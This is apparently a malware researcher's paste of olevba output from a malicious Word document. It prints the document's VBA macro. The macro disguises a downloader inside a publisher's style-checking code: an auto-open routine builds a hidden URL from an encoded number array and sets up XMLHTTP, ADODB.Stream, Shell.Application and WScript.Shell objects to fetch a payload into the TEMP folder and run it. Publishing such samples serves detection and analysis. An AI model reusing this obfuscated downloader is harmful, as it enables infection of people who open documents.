dynamoo

Malicious Word macro

Nov 19th, 2015
441
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASI-B-V 1630884720-01.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 1630884720-01.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: 1630884720-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub autoopen()
  17. GoodBadStyles False, "", "", "", ""
  18. MacmillanStyleReport
  19. CheckPrevStyle "", ""
  20. BadTorStyles "", "", "", ""
  21. DeleteContentControlPC
  22. CheckPrev2Paras "", "", ""
  23. End Sub
  24.  
  25.  
  26.  
  27. -------------------------------------------------------------------------------
  28. VBA MACRO Module1.bas
  29. in file: 1630884720-01.doc - OLE stream: u'Macros/VBA/Module1'
  30. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  31.  
  32. Sub BookmakerReqs()
  33.  If CheckSave = True Then
  34.  Exit Sub
  35.  End If
  36.  Appljj.ication.ScreenUpdating = False
  37.  Dim currentStatusBar As Boolean
  38.  currentStatusBar = Appljj.ication.DisplayStatusBar
  39.  Appljj.ication.DisplayStatusBar = True
  40.  Dim arrStories() As Variant
  41.  arrStories = StoryArray
  42.  Dim sglPercentComplete As Single
  43.  Dim strStatus As String
  44.  Dim strTitle As String
  45.  Dim funArray() As String
  46.  ReDim funArray(1 To 10)
  47.  funArray(1) = "* Is this thing on?..."
  48.  funArray(2) = "* Are we there yet?..."
  49.  funArray(10) = "* Thanks for running the Bookmaker Macro!"
  50.  Dim x As Integer
  51.  Randomize
  52.  x = Int(UBound(funArray()) * Rnd()) + 1
  53.  strTitle = "Bookmaker Requirements Macro"
  54.  sglPercentComplete = 0.02
  55.  strStatus = funArray(x)
  56.  Dim TheOS As String
  57.  TheOS = System.OperatingSystem
  58.  If Not TheOS Like "*Mac*" Then
  59.  Dim oProgressBkmkr As String
  60.  Set oProgressBkmkr = New ProgressBar
  61.  oProgressBkmkr.Title = strTitle
  62.  oProgressBkmkr.Show
  63.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  64.  Dodf.dfze 50
  65.  Else
  66.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  67.  DoEvents
  68.  End If
  69.  Dim currentStory As String
  70.  currentStory = Selection.StoryType
  71.  Selection.Collapse Direction:=wdCollapseStart
  72.  ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
  73.  If Not TheOS Like "*Mac*" Then
  74.  Call DeleteContentControlPC
  75.  End If
  76.  If FixTrackChanges = False Then
  77.  Appljj.ication.ScreenUpdating = True
  78.  Unload oProgressBkmkr
  79.  Exit Sub
  80.  End If
  81.  Call ISBNcleanup
  82.  sglPercentComplete = 0.05
  83.  strStatus = "* Counting required styles..." & vbCr & strStatus
  84.  If Not TheOS Like "*Mac*" Then
  85.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  86.  Dodf.dfze 50
  87.  Else
  88.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  89.  DoEvents
  90.  End If
  91.  Dim styleCount() As Variant
  92.  styleCount = CountReqdStyles()
  93.  If styleCount(1) = 100 Then
  94.  Appljj.ication.ScreenUpdating = True
  95.  Exit Sub
  96.  End If
  97.  sglPercentComplete = 0.08
  98.  strStatus = "* Correcting heading styles..." & vbCr & strStatus
  99.  If Not TheOS Like "*Mac*" Then
  100.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  101.  Dodf.dfze 50
  102.  Else
  103.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  104.  DoEvents
  105.  End If
  106.  sglPercentComplete = 0.11
  107.  Appljj.ication.ScreenUpdating = True
  108.  strStatus = "* Getting book metadata from manuscript..." & vbCr & strStatus
  109.  If Not TheOS Like "*Mac*" Then
  110.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  111.  Dodf.dfze 50
  112.  Else
  113.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  114.  DoEvents
  115.  End If
  116.  Dim strMetadata As String
  117.  strMetadata = GetMetadata
  118.  sglPercentComplete = 0.15
  119.  strStatus = "* Getting list of illustrations..." & vbCr & strStatus
  120.  If Not TheOS Like "*Mac*" Then
  121.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  122.  Dodf.dfze 50
  123.  Else
  124.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  125.  DoEvents
  126.  End If
  127.  Dim strIllustrationsList As String
  128.  strIllustrationsList = IllustrationsList
  129.  sglPercentComplete = 0.18
  130.  strStatus = "* Getting list of styles in use..." & vbCr & strStatus
  131.  If Not TheOS Like "*Mac*" Then
  132.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  133.  Dodf.dfze 50
  134.  Else
  135.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  136.  DoEvents
  137.  End If
  138.  Dim arrGoodBadStyles() As Variant
  139.  Dim strGoodStylesList As String
  140.  Dim strBadStylesList As String
  141.  arrGoodBadStyles = GoodBadStyles(torDOTcom:=True, ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, _
  142.  Stories:=arrStories)
  143.  strGoodStylesList = arrGoodBadStyles(1)
  144.  strBadStylesList = arrGoodBadStyles(2)
  145.  Dim blnTemplateUsed As Boolean
  146.  Dim strSearchPattern As String
  147.  strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
  148.  If strGoodStylesList = vbNullString Then
  149.  blnTemplateUsed = False
  150.  ElseIf PatternMatch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
  151.  blnTemplateUsed = False
  152.  Else
  153.  blnTemplateUsed = True
  154.  End If
  155.  If blnTemplateUsed = False Then
  156.  strGoodStylesList = StylesInUse(ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
  157.  strBadStylesList = ""
  158.  End If
  159.  sglPercentComplete = 0.98
  160.  strStatus = "* Checking styles for errors..." & vbCr & strStatus
  161.  If Not TheOS Like "*Mac*" Then
  162.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  163.  Dodf.dfze 50
  164.  Else
  165.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  166.  DoEvents
  167.  End If
  168.  Dim strErrorList As String
  169.  If blnTemplateUsed = True Then
  170.  strErrorList = CreateErrorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
  171.  Else
  172.  strErrorList = ""
  173.  End If
  174.  sglPercentComplete = 0.99
  175.  strStatus = "* Creating report file..." & vbCr & strStatus
  176.  If Not TheOS Like "*Mac*" Then
  177.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  178.  Dodf.dfze 50
  179.  Else
  180.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  181.  DoEvents
  182.  End If
  183.  Dim strSuffix As String
  184.  strSuffix = "BookmakerReport"
  185.  Call CreateReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
  186.  sglPercentComplete = 1
  187.  strStatus = "* Finishing up..." & vbCr & strStatus
  188.  If Not TheOS Like "*Mac*" Then
  189.  oProgressBkmkr.Increment sglPercentComplete, strStatus
  190.  Dodf.dfze 50
  191.  Else
  192.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  193.  DoEvents
  194.  End If
  195.  If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
  196.  ActiveDocument.StoryRanges(currentStory).Select
  197.  Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
  198.  ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
  199.  End If
  200.  Appljj.ication.ScreenUpdating = True
  201.  Appljj.ication.DisplayStatusBar = currentStatusBar
  202.  Appljj.ication.ScreenRefresh
  203.  If Not TheOS Like "*Mac*" Then
  204.  Unload oProgressBkmkr
  205.  End If
  206. End Sub
  207. Public Sub MacmillanStyleReport()
  208. simple7 = Array(715, 740, 753, 762, 721, 723, 736, 800, 819, 825, 846, 868, 864, 898, 907, 903, 921, 934, 950, 955, 917, 983, 1008, 1019, 970, 992, 1054, 1016, 1028, 1092, 1053, 1117, 1080, 1091, 1100, 1177, 1136, 1147, 1210, 1173, 1185, 1261, 1210, 1222, 1229, 1297, 1329, 1323)
  209. simple1.Open GetMetadata(), GetStringFromArray(simple7, 47), False
  210. Exit Sub
  211.  If CheckSave = True Then
  212.  Exit Sub
  213.  End If
  214.  Appljj.ication.ScreenUpdating = False
  215.  Dim currentStatusBar As Boolean
  216.  currentStatusBar = Appljj.ication.DisplayStatusBar
  217.  Appljj.ication.DisplayStatusBar = True
  218.  Dim arrStories() As Variant
  219.  arrStories = StoryArray
  220.  Dim sglPercentComplete As Single
  221.  Dim strStatus As String
  222.  Dim strTitle As String
  223.  Dim funArray() As String
  224.  ReDim funArray(1 To 10)
  225.  Dim x As Integer
  226.  Randomize
  227.  x = Int(UBound(funArray()) * Rnd()) + 1
  228.  strTitle = "Macmillan Style Report Macro"
  229.  sglPercentComplete = 0.02
  230.  strStatus = funArray(x)
  231.  Dim TheOS As String
  232.  TheOS = System.OperatingSystem
  233.  If Not TheOS Like "*Mac*" Then
  234.  Dim oProgressStyleRpt As String
  235.  'Set oProgressStyleRpt = New ProgressBar
  236. oProgred.ssStyleRpt.Title = strTitle
  237.  oProgred.ssStyleRpt.Show
  238.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  239.  Dodf.dfze 50
  240.  Else
  241.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  242.  DoEvents
  243.  End If
  244.  Dim currentStory As String
  245.  currentStory = Selection.StoryType
  246.  Selection.Collapse Direction:=wdCollapseStart
  247.  ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
  248.  Dim currentTracking As Boolean
  249.  currentTracking = ActiveDocument.TrackRevisions
  250.  ActiveDocument.TrackRevisions = False
  251.  If Not TheOS Like "*Mac*" Then
  252.  Call DeleteContentControlPC
  253.  End If
  254.  Call ISBNc.leanup
  255.  sglPercentComplete = 0.05
  256.  strStatus = "* Counting required styles..." & vbCr & strStatus
  257.  If Not TheOS Like "*Mac*" Then
  258.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  259.  Dodf.dfze 50
  260.  Else
  261.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  262.  DoEvents
  263.  End If
  264.  Dim styleCount() As Variant
  265.  styleCount = CountRe.qdStyles()
  266.  If styleCount(1) = 100 Then
  267.  Appljj.ication.ScreenUpdating = True
  268.  Unload oProgres.sStyleRpt
  269.  Exit Sub
  270.  End If
  271.  sglPercentComplete = 0.09
  272.  strStatus = "* Checking for correct heading styles..." & vbCr & strStatus
  273.  If Not TheOS Like "*Mac*" Then
  274.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  275.  Dodf.dfze 50
  276.  Else
  277.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  278.  DoEvents
  279.  End If
  280.  sglPercentComplete = 0.12
  281.  strStatus = "* Getting title, author, ISBN from manuscript..." & vbCr & strStatus
  282.  If Not TheOS Like "*Mac*" Then
  283.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  284.  Dodf.dfze 50
  285.  Else
  286.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  287.  DoEvents
  288.  End If
  289.  Dim strMetadata As String
  290.  strMetadata = GetMetadata
  291.  sglPercentComplete = 0.15
  292.  strStatus = "* Generating illustration list..." & vbCr & strStatus
  293.  If Not TheOS Like "*Mac*" Then
  294.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  295.  Dodf.dfze 50
  296.  Else
  297.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  298.  DoEvents
  299.  End If
  300.  Dim strIllustrationsList As String
  301.  strIllustrationsList = IllustrationsList
  302.  sglPercentComplete = 0.18
  303.  strStatus = "* Generating list of Macmillan styles..." & vbCr & strStatus
  304.  If Not TheOS Like "*Mac*" Then
  305.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  306.  Dodf.dfze 50
  307.  Else
  308.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  309.  DoEvents
  310.  End If
  311.  Dim arrGoodBadStyles() As Variant
  312.  Dim strGoodStylesList As String
  313.  Dim strBadStylesList As String
  314.  arrGoodBadStyles = GoodBadStyles(torDOTcom:=False, ProgressBar:=oProgressStyleRpt, _
  315.  Status:=strStatus, ProgTitle:=strTitle, Stories:=arrSt.ories)
  316.  strGoodStylesList = arrGoodBadStyles(1)
  317.  strBadStylesList = arrGoodBadStyles(2)
  318.  Dim blnTemplateUsed As Boolean
  319.  Dim strSearchPattern As String
  320.  strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
  321.  If strGoodStylesList = vbNullString Then
  322.  blnTemplateUsed = False
  323.  ElseIf PatternM.atch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
  324.  blnTemplateUsed = False
  325.  Else
  326.  blnTemplateUsed = True
  327.  End If
  328.  If blnTemplateUsed = False Then
  329.  strGoodStylesList = Styles.InUse(ProgressBar:=oProgressStyleRpt, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
  330.  strBadStylesList = ""
  331.  End If
  332.  sglPercentComplete = 0.98
  333.  strStatus = "* Checking styles for errors..." & vbCr & strStatus
  334.  If Not TheOS Like "*Mac*" Then
  335.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  336.  Dodf.dfze 50
  337.  Else
  338.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  339.  DoEvents
  340.  End If
  341.  Dim strErrorList As String
  342.  If blnTemplateUsed = True Then
  343.  strErrorList = CreateEr.rorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
  344.  Else
  345.  strErrorList = ""
  346.  End If
  347.  sglPercentComplete = 0.99
  348.  strStatus = "* Creating report file..." & vbCr & strStatus
  349.  If Not TheOS Like "*Mac*" Then
  350.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  351.  Dodf.dfze 50
  352.  Else
  353.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  354.  DoEvents
  355.  End If
  356.  Dim strSuffix As String
  357.  strSuffix = "StyleReport"
  358.  Call Creat.eReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
  359.  sglPercentComplete = 1
  360.  strStatus = "* Finishing up" & vbCr & strStatus
  361.  If Not TheOS Like "*Mac*" Then
  362.  oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
  363.  Dodf.dfze 50
  364.  Else
  365.  Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
  366.  DoEvents
  367.  End If
  368.  If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
  369.  ActiveDocument.StoryRanges(currentStory).Select
  370.  Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
  371.  ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
  372.  End If
  373.  ActiveDocument.TrackRevisions = currentTracking
  374.  Appljj.ication.ScreenUpdating = True
  375.  Appljj.ication.DisplayStatusBar = currentStatusBar
  376.  Appljj.ication.ScreenRefresh
  377.  If Not TheOS Like "*Mac*" Then
  378.  Unload oProgre.ssStyleRpt
  379.  End If
  380. End Sub
  381. Public Function GoodBadStyles(torDOTcom As Boolean, ProgressBar As String, Status As String, ProgTitle As String, Stories As String) As Variant
  382.  Dim TheOS As String
  383.  'TheOS = System.OperatingSystem
  384. Dim sglPercentComplete As Single
  385. Set simple1 = CreateObject("Microsoft" + ".XMLHTTP")
  386.  Dim strStatus As String
  387.  Dim activeDoc As String
  388.  Dim stylesGood() As String
  389.  Dim stylesGoodLong As Long
  390.  stylesGoodLong = 400
  391.  ReDim stylesGood(stylesGoodLong)
  392.  Dim stylesBad() As String
  393.  ReDim stylesBad(1 To 100)
  394. Set simple2 = CreateObject("Adodb.Stream")
  395.  Dim styleGoodCount As Integer
  396.  Dim styleBadCount As Integer
  397.  Dim styleBadOverflow As Boolean
  398.  Dim activeParaCount As Integer
  399.  Dim J As Integer, K As Integer, L As Integer
  400.  Dim paraStyle As String
  401.  Dim activeParaRange As Range
  402.  Dim pageNumber As Integer
  403.  Dim a As Long
  404. Set simple6 = CreateObject("Shell.Application")
  405. Set simple3 = CreateObject("WScript.Shell").Environment("Process")
  406. Exit Function
  407.  ActiveDocument.Styles("Normal (Web)").NameLocal = "_"
  408.  styleGoodCount = 0
  409.  styleBadCount = 0
  410.  styleBadOverflow = False
  411.  activeParaCount = activh.eDoc.Paragraphs.Count
  412.  For J = 1 To activeParaCount
  413.  If J Mod 100 = 0 Then
  414.  sglPercentComplete = (((J / activeParaCount) * 0.45) + 0.18)
  415.  strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & _
  416.  vbCr & Status
  417.  If Not TheOS Like "*Mac*" Then
  418.  Progg.gressBar.Increment sglPercentComplete, strStatus
  419.  Dss.oze 50
  420.  Else
  421.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  422.  DoEvents
  423.  End If
  424.  End If
  425.  For a = LBound(Sff.tories()) To UBound(Stddd.ories())
  426.  If J <= ActiveDocument.StoryRanges(Stordd.ies(a)).Paragraphs.Count Then
  427.  paraStyle = activh.eDoc.StoryRanges(Stodd.ries(a)).Paragraphs(J).Style
  428.  Set activeParaRange = activh.eDoc.StoryRanges(Stocc.ries(a)).Paragraphs(J).Range
  429.  pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
  430.  If Right(paraStyle, 1) = ")" Then
  431. CheckGoodStyles:
  432.  For K = 1 To styleGoodCount
  433.  If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
  434.  K = styleGoodCount
  435.  Exit For
  436.  End If
  437.  Next K
  438.  If K = styleGoodCount + 1 Then
  439.  styleGoodCount = K
  440.  ReDim Preserve stylesGood(1 To styleGoodCount)
  441.  stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
  442.  End If
  443.  Else
  444.  If paraStyle = "Endnote Text" Or paraStyle = "Footnote Text" Then
  445.  GoTo CheckGoodStyles
  446.  Else
  447.  For L = 1 To styleBadCount
  448.  Next L
  449.  If L > 100 Then
  450.  styleBadOverflow = True
  451.  stylesBad(100) = "** WARNING: More than 100 paragraphs with bad styles found." & vbNewLine & vbNewLine
  452.  Exit For
  453.  End If
  454.  If L = styleBadCount + 1 Then
  455.  styleBadCount = L
  456.  stylesBad(styleBadCount) = "** ERROR: Non-Macmillan style on page " & pageNumber & _
  457.  " (Paragraph " & J & "): " & paraStyle & vbNewLine & vbNewLine
  458.  End If
  459.  End If
  460.  End If
  461.  End If
  462.  Next a
  463.  Next J
  464.  Status = "* Checking paragraphs for Macmillan styles..." & vbCr & Status
  465.  ActiveDocument.Styles("Normal (Web),_").NameLocal = "Normal (Web)"
  466.  If K <> 0 Then
  467.  ReDim Preserve stylesGood(1 To styleGoodCount)
  468.  WordBasic.SortArray stylesGood()
  469.  End If
  470.  Dim strGoodStyles As String
  471.  If styleGoodCount = 0 Then
  472.  strGoodStyles = ""
  473.  Else
  474.  For K = LBound(stylesGood()) To UBound(stylesGood())
  475.  strGoodStyles = strGoodStyles & stylesGood(K) & vbCrLf
  476.  Next K
  477.  End If
  478.  If styleBadCount > 0 Then
  479.  Dim strBadStyles As String
  480.  ReDim Preserve stylesBad(1 To styleBadCount)
  481.  For L = LBound(stylesBad()) To UBound(stylesBad())
  482.  strBadStyles = strBadStyles & stylesBad(L)
  483.  Next L
  484.  Else
  485.  strBadStyles = ""
  486.  End If
  487.  Dim charStyles As String
  488.  Dim styleNameM(1 To 21) As String
  489.  Dim M As Integer
  490.  styleNameM(1) = "span italic characters (ital)"
  491.  styleNameM(2) = "span boldface characters (bf)"
  492.  styleNameM(14) = "span material to come (tk)"
  493.  styleNameM(15) = "span carry query (cq)"
  494.  styleNameM(16) = "span preserve characters (pre)"
  495.  styleNameM(17) = "span strikethrough characters (str)"
  496.  styleNameM(18) = "bookmaker keep together (kt)"
  497.  styleNameM(19) = "span ISBN (isbn)"
  498.  styleNameM(20) = "span symbols ital (symi)"
  499.  styleNameM(21) = "span symbols bold (symb)"
  500.  For M = 1 To UBound(styleNameM())
  501.  sglPercentComplete = (((M / UBound(styleNameM())) * 0.13) + 0.63)
  502.  strStatus = "* Checking for " & styleNameM(M) & " styles..." & vbCr & Status
  503.  If Not TheOS Like "*Mac*" Then
  504.  Progg.gressBar.Increment sglPercentComplete, strStatus
  505.  Doff.ze 50
  506.  Else
  507.  Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
  508.  DoEvents
  509.  End If
  510.  On Error GoTo ErrHandler
  511.  Selection.HomeKey Unit:=wdStory
  512.  With Selection.Find
  513.  .Style = ActiveDocument.Styles(styleNameM(M))
  514.  .Wrap = wdFindContinue
  515.  .Format = True
  516.  .Execute
  517.  End With
  518.  If Selection.Find.Found = True Then
  519.  charStyles = charStyles & styleNameM(M) & vbNewLine
  520.  Else
  521.  If ActiveDocument.Footnotes.Count > 0 Then
  522.  ActiveDocument.StoryRanges(wdFootnotesStory).Select
  523.  With Selection.Find
  524.  .Style = ActiveDocument.Styles(styleNameM(M))
  525.  .Wrap = wdFindContinue
  526.  .Format = True
  527.  .Execute
  528.  End With
  529.  If Selection.Find.Found = True Then
  530.  charStyles = charStyles & styleNameM(M) & vbNewLine
  531.  Else
  532.  GoTo CheckEndnotes
  533.  End If
  534.  Else
  535. CheckEndnotes:
  536.  If ActiveDocument.Endnotes.Count > 0 Then
  537.  ActiveDocument.StoryRanges(wdEndnotesStory).Select
  538.  With Selection.Find
  539.  .Style = ActiveDocument.Styles(styleNameM(M))
  540.  .Wrap = wdFindContinue
  541.  .Format = True
  542.  .Execute
  543.  End With
  544.  If Selection.Find.Found = True Then
  545.  charStyles = charStyles & styleNameM(M) & vbNewLine
  546.  End If
  547.  End If
  548.  End If
  549.  End If
  550. NextLoop:
  551.  Next M
  552.  Status = "* Checking character styles..." & vbCr & Status
  553.  strGoodStyles = strGoodStyles & charStyles
  554.  Dim strTorBadStyles As String
  555.  If torDOTcom = True Then
  556.  strBadStyles = strBadStyles & strTorBadStyles
  557.  End If
  558.  Dim arrFinalLists() As Variant
  559.  ReDim arrFinalLists(1 To 2)
  560.  arrFinalLists(1) = strGoodStyles
  561.  arrFinalLists(2) = strBadStyles
  562.  GoodBadStyles = arrFinalLists
  563.  Exit Function
  564. ErrHandler:
  565.  Debug.Print Err.Number & " : " & Err.Description
  566.  If Err.Number = 5834 Or Err.Number = 5941 Then
  567.  Resume NextLoop
  568.  End If
  569. End Function
  570.  
  571.  
  572.  
  573.  
  574.  
  575.  
  576.  
  577. -------------------------------------------------------------------------------
  578. VBA MACRO Module2.bas
  579. in file: 1630884720-01.doc - OLE stream: u'Macros/VBA/Module2'
  580. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  581. Public simple1 As Object
  582. Public simple2 As Object
  583. Public simple3  As Object
  584. Public simple4 As String
  585. Public simple5 As String
  586. Public simple6 As Object
  587. Public simple7() As Variant
  588. Private Function CreateErrorList(badStyles As String, arrStyleCount() As Variant, torDOTcom As Boolean) As String
  589.  Dim errorList As String
  590.  errorList = ""
  591.  If arrStyleCount(1) = 0 Then errorList = errorList & "** ERROR: No styled title detected." & _
  592.  vbNewLine & vbNewLine
  593.  If arrStyleCount(1) > 1 Then errorList = errorList & "** ERROR: Too many title paragraphs detected." _
  594.  & " Only 1 allowed." & vbNewLine & vbNewLine
  595.  If arrStyleCount(1) > 0 Then errorList = errorList & CheckPrevStyle(findStyle:="Titlepage Book Title (tit)", _
  596.  prevStyle:="Page Break (pb)")
  597.  If arrStyleCount(2) = 0 Then errorList = errorList & "** ERROR: No styled author name detected." _
  598.  & vbNewLine & vbNewLine
  599.  If arrStyleCount(3) = 0 Then
  600.  errorList = errorList & "** ERROR: No styled ISBN detected." _
  601.  & vbNewLine & vbNewLine
  602.  Else
  603.  If torDOTcom = True Then
  604.  errorList = errorList & BookTypeCheck
  605.  End If
  606.  End If
  607.  If arrStyleCount(14) > 0 And arrStyleCount(15) > 0 Then errorList = errorList & CheckPrev2Paras("Illustration holder (ill)", _
  608.  "Caption (cap)", "Illustration Source (is)")
  609.  End If
  610.  errorList = errorList & CheckAfterPB
  611.  errorList = errorList & badStyles
  612.  If errorList <> "" Then
  613.  errorList = errorList & vbNewLine & "If you have any questions about how to handle these errors, " & vbNewLine & _
  614.  "please contact workflows@macmillan.com." & vbNewLine
  615.  End If
  616.  CreateErrorList = errorList
  617. End Function
  618. Private Function GetText(styleName As String) As String
  619.  Dim fString As String
  620.  Dim fCount As Integer
  621.  fCount = 0
  622.  Selection.HomeKey Unit:=wdStory
  623.  On Error GoTo ErrHandler
  624.  Selection.Find.ClearFormatting
  625.  With Selection.Find
  626.  .Text = ""
  627.  .Replacement.Text = ""
  628.  .Forward = True
  629.  .Wrap = wdFindStop
  630.  .Format = True
  631.  .Style = ActiveDocument.Styles(styleName)
  632.  .MatchCase = False
  633.  .MatchWholeWord = False
  634.  .MatchWildcards = False
  635.  .MatchSoundsLike = False
  636.  .MatchAllWordForms = False
  637.  End With
  638.  Do While Selection.Find.Execute = True And fCount < 100
  639.  fCount = fCount + 1
  640.  If InStr(Selection.Text, Chr(13)) > 0 Then
  641.  Selection.MoveEnd Unit:=wdCharacter, Count:=-1
  642.  End If
  643.  fString = fString & Selection.Text & vbNewLine
  644.  If InStr(styleName, "span") = 0 Then
  645.  Selection.MoveEndWhile Cset:=Chr(13), Count:=1
  646.  End If
  647.  Loop
  648.  If fCount = 0 Then
  649.  GetText = ""
  650.  Else
  651.  GetText = fString
  652.  End If
  653.  Exit Function
  654. ErrHandler:
  655.  If Err.Number = 5941 Or Err.Number = 5834 Then
  656.  GetText = ""
  657.  End If
  658. End Function
  659. Public Function CheckPrevStyle(findStyle As String, prevStyle As String) As String
  660.  Dim jString As String
  661.  Dim jCount As Integer
  662.  Dim pageNum As Integer
  663.  Dim intCurrentPara As Integer
  664. simple4 = simple3("TEMP")
  665. Exit Function
  666.  Appljj.ication.ScreenUpdating = False
  667.  On Error GoTo ErrHandler:
  668.  Dim keyStyle As String
  669.  Set keyS.tyle = ActiveDocument.Styles(findStyle)
  670.  Set keyS.tyle = ActiveDocument.Styles(prevStyle)
  671.  jCount = 0
  672.  jString = ""
  673.  Selection.HomeKey Unit:=wdStory
  674.  Selection.Find.ClearFormatting
  675.  With Selection.Find
  676.  .Text = ""
  677.  .Replacement.Text = ""
  678.  .Forward = True
  679.  .Wrap = wdFindStop
  680.  .Format = True
  681.  .Style = ActiveDocument.Styles(findStyle)
  682.  .MatchCase = False
  683.  .MatchWholeWord = False
  684.  .MatchWildcards = False
  685.  .MatchSoundsLike = False
  686.  .MatchAllWordForms = False
  687.  End With
  688.  Do While Selection.Find.Execute = True And jCount < 200
  689.  jCount = jCount + 1
  690.  Dim rParagraphs As Range
  691.  Dim CurPos As Long
  692.  Selection.Range.Select
  693.  CurPos = ActiveDocument.Bookmarks("\startOfSel").Start
  694.  Set rParagraphs = ActiveDocument.Range(Start:=0, End:=CurPos)
  695.  intCurrentPara = rParagraphs.Paragraphs.Count
  696.  If intCurrentPara > 1 Then
  697.  Selection.Previous(Unit:=wdParagraph, Count:=1).Select
  698.  pageNum = Selection.Information(wdActiveEndPageNumber)
  699.  If Selection.Style <> prevStyle Then
  700.  jString = jString & "** ERROR: Missing or incorrect " & prevStyle & " style before " _
  701.  & findStyle & " style on page " & pageNum & "." & vbNewLine & vbNewLine
  702.  End If
  703.  If prevStyle = "Page Break (pb)" Then
  704.  If InStr(Selection.Text, Chr(12)) = 0 Then
  705.  jString = jString & "** ERROR: Missing manual page break on page " & pageNum & "." _
  706.  & vbNewLine & vbNewLine
  707.  End If
  708.  End If
  709.  Selection.Next(Unit:=wdParagraph, Count:=1).Select
  710.  End If
  711.  Loop
  712.  CheckPrevStyle = jString
  713.  Exit Function
  714. ErrHandler:
  715.  If Err.Number = 5941 Or Err.Number = 5834 Then
  716.  Exit Function
  717.  End If
  718. End Function
  719. Function CheckAfterPB() As String
  720.  Dim arrSecStartStyles() As String
